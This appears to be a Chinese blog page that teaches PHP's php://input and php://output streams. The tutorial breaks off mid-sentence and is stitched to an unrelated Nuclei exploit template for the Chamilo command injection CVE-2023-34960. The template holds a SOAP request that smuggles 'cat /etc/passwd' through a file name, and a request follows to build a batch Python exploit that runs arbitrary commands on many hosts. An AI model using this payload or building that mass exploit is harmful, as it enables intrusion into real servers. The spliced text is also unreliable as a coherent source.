php://input、php://output用法解析

本文详细介绍了php://output作为输出流在CLI和HTTP模式下的使用,包括如何向终端输出内容和导出CSV文件。同时,文章探讨了php://input输入流的应用,如接收XML和JSON数据,以及如何通过它来接收文件内容,强调在实际应用中推荐使用multipart/form-data的方式。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、php://output输出流用法:

php://output是php语言中一个只写的数据流,向“php://input”写入的数据将像 print() 和 echo() 一样的方式 写入到输出缓冲区;“php://output”支持CLI(command-line interface,命令行界面)模式和Http模式;

1 、CLI模式通过php://output向终端输出内容:

test.php文件:

<?php
$output = fopen("php://output", "w");
fwrite($output, "爱E族");
fclose($output);

输出:

[root@aiezu.com ~]# php test.php
爱E族

2、Http模式通过php://output导出csv文件:

注意,以UTF8编码导出CSV文件,如果文件头未添加BOM头,使用Excel打开会出现乱码。

test.php页面代码:

<?php
header('Content-Type: application/csv');
header('Content-Disposition: attachment; filename="test.csv"');
$output = fopen('php://output','w') or die("Can't open php://output");
//UTF8 csv文件头前需添加BOM,不然会是乱码
fwrite($output, chr(0xEF).chr(0xBB).chr(0xBF));
// 输出标题行
fputcsv($output, array('站点名', '域名', '行业'));
//数据内容
$rows = array(
     array('天猫', 'http://tmall.com', '电子商务')
    ,array('爱E族', 'http://aiezu.com', '互联网技术')
    ,array('腾讯', 'http://qq.com', '社交网络')
);
foreach($rows as $row) {
    fputcsv($output, $row);
}
fclose($output) or die("Can't close php://output");

二、php://input输入流用法:

php://input是php语言中一个只读的数据流;通过"php://input",可以读取从Http客户端以POST方式提交、请求头“Content-Type”值非"multipart/form-data​"的所有数据;"php://input"一般用来读取POST上来,除已被处理以外的剩余数据。

1、PHP使用"php://input"接收XML数据:

ttp test.php页面代码:

<?php
/**
* xml文档转为数组元素
* @param obj $xmlobject XML文档对象
* @return array
*/
function xmlToArray($xmlobject) {
   $data = array();
   foreach ((array)$xmlobject as $key => $value) {
       $data[$key] = !is_string($value) ? xmlToArray($value) : $value;
   }
   return $data;
}
 
if ( strtolower($_SERVER['CONTENT_TYPE']) == 'application/xml' && $content = file_get_contents("php://input") ) {
   $xml = simplexml_load_string($content);//转换post数据为simplexml对象
   print_r(xmlToArray($xml));
}

待提交xml.xml文件内容:

<?xml version='1.0' encoding='UTF-8'?>
<root>
 <site>
   <name>爱E族</name>
   <domain>aiezu.com</domain>
 </site>
 <site>
   <name>天猫</name>
   <domain>tmall.com</domain>
 </site>
</root>

通过linux curl命令提交xml.xml:

[root@aiezu.com ~]# curl -H "Content-Type: application/xml" --data-binary @xml.xml http://aiezu.com/test.php
Array
(
   [site] => Array
       (
           [0] => Array
               (
                   [name] => 爱E族
                   [domain] => aiezu.com
               )
           [1] => Array
               (
                   [name] => 天猫
                   [domain] => tmall.com
               )
       )
)

2、PHP使用"php://input"接收JSON数据:

PHP使用"php://input"接收JSON数据,与接收XML数据十分类似,这里不再做介绍,要查看实例请参考:Linux curl命令get/post提交数据、json和文件全攻略 页面的第“六”节。

3、PHP使用"php://input"接收文件内容:

下面通过代码演示PHP使用"php://input"接收一个png文件,这里只是用于演示,实际运用中还是建议使用Http请求头"Content-Type"值为"multipart/form-data"的表单方式POST。

接收页面"test.php"代码:

<?php
if ( preg_match("#^image/(png|jpe?g|gif)$#i", $_SERVER['CONTENT_TYPE'], $match) && $binary = file_get_contents("php://input") ) {
   $file = sprintf("/tmp/pic.%s", strtolower($match[1]));
   file_put_contents($file, $binary);
   echo sprintf("文件大小: %s\n", filesize($file));
   echo sprintf("修改时间: %s\n", date("Y-m-d H:i:s", filemtime($file)));
}

提交测试:

[root@aiezu.com ~]# curl -H "Content-Type: image/png" --data-binary @logo.png http://aiezu.com/test.php
文件大小: 3706
修改时间: 2016-12-05 13:29:08

总结

"php://input"一般用来读取POST上来
id: CVE-2023-34960 info: name: Chamilo Command Injection author: DhiyaneshDK severity: critical description: | A command injection vulnerability in the wsConvertPpt component of Chamilo v1.11.* up to v1.11.18 allows attackers to execute arbitrary commands via a SOAP API call with a crafted PowerPoint name. impact: | Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system. remediation: | Apply the latest security patches or updates provided by the vendor to fix the command injection vulnerability in Chamilo LMS. reference: - https://sploitus.com/exploit?id=FD666992-20E1-5D83-BA13-67ED38E1B83D - https://github.com/Aituglo/CVE-2023-34960/blob/master/poc.py - http://chamilo.com - http://packetstormsecurity.com/files/174314/Chamilo-1.11.18-Command-Injection.html - https://support.chamilo.org/projects/1/wiki/Security_issues#Issue-112-2023-04-20-Critical-impact-High-risk-Remote-Code-Execution classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-34960 cwe-id: CWE-77 epss-score: 0.93314 epss-percentile: 0.99067 cpe: cpe:2.3:a:chamilo:chamilo:*:*:*:*:*:*:*:* metadata: verified: "true" max-request: 1 vendor: chamilo product: chamilo shodan-query: - http.component:"Chamilo" - http.component:"chamilo" - cpe:"cpe:2.3:a:chamilo:chamilo" tags: cve,cve2023,packetstorm,chamilo http: - raw: - | POST /main/webservices/additional_webservices.php HTTP/1.1 Host: {{Hostname}} Content-Type: text/xml; charset=utf-8 <?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="{{RootURL}}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:wsConvertPpt><param0 xsi:type="ns2:Map"><item><key xsi:type="xsd:string">file_data</key><value xsi:type="xsd:string"></value></item><item><key xsi:type="xsd:string">file_name</key><value xsi:type="xsd:string">`{}`.pptx'|" |cat /etc/passwd||a #</value></item><item><key xsi:type="xsd:string">service_ppt2lp_size</key><value xsi:type="xsd:string">720x540</value></item></param0></ns1:wsConvertPpt></SOAP-ENV:Body></SOAP-ENV:Envelope> matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" part: body - type: word part: header words: - text/xml - type: status status: - 200 # digest: 4a0a00473045022034e60ad33e2160ec78cbef2c6c410b14dabd6c3ca8518c21571e310453a24e25022100927e4973b55f38f2cc8ceca640925b7066d4325032b04fb0eca080984080a1d0:922c64590222798bb761d5b6d8e72950根据poc实现python的exp,并且读取当前目录下的文件 批量执行 ,例如,python CVE-2023-34960.py -f .8.txt -c "需要执行的命令" 并将执行成功的结果输出 -o 9.txt 添加选项-o 8.txt的文本文件
03-27
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值